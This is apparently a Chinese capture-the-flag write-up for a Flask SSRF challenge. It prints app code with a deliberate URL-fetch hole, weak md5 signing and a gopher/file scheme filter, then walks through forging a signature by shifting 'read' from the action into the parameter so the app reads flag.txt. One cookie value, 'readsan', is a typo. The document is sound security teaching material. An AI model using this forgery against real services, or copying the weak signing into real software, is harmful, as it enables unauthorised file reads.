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flask_ssrf

字数统计: 654阅读时长: 3 min
2019/08/04 Share
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#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

访问/De1ta页面,challenge函数通过cookie获取action,sign,get请求获取param,ip自动获取,将4个参数传入Task类,跟踪到Task类的Exec函数

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def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

在进入两个action之前,需要绕过checkSign函数

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def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

action和param通过getSign加密后的值与sign比较

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def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

一个md5函数的加密,查看全局,发现/geneSign页面调用了这个函数进行return输出

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@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

param=flag.txtread传入获取对应的sign值

flask_ssrf1

getSign获得的值是:

md5(secert_key+flag.txtread+scan)

回到/De1ta页面

param=flag.txt

cookie:

action=readsan

sign=7cde191de87fe3ddac26e19acae1525e

传到checkSign进入getSign看看是怎么加密的:

md5(secert_key+param + action)

=

md5(secert_key+flag.txt + readscan)

完全吻合上面获得的值,将他作为sign输入去比对

(注:1.scan和read函数都会运行,都是两个if语句2.if .. in .. 字符串传入即可)

flask_ssrf2

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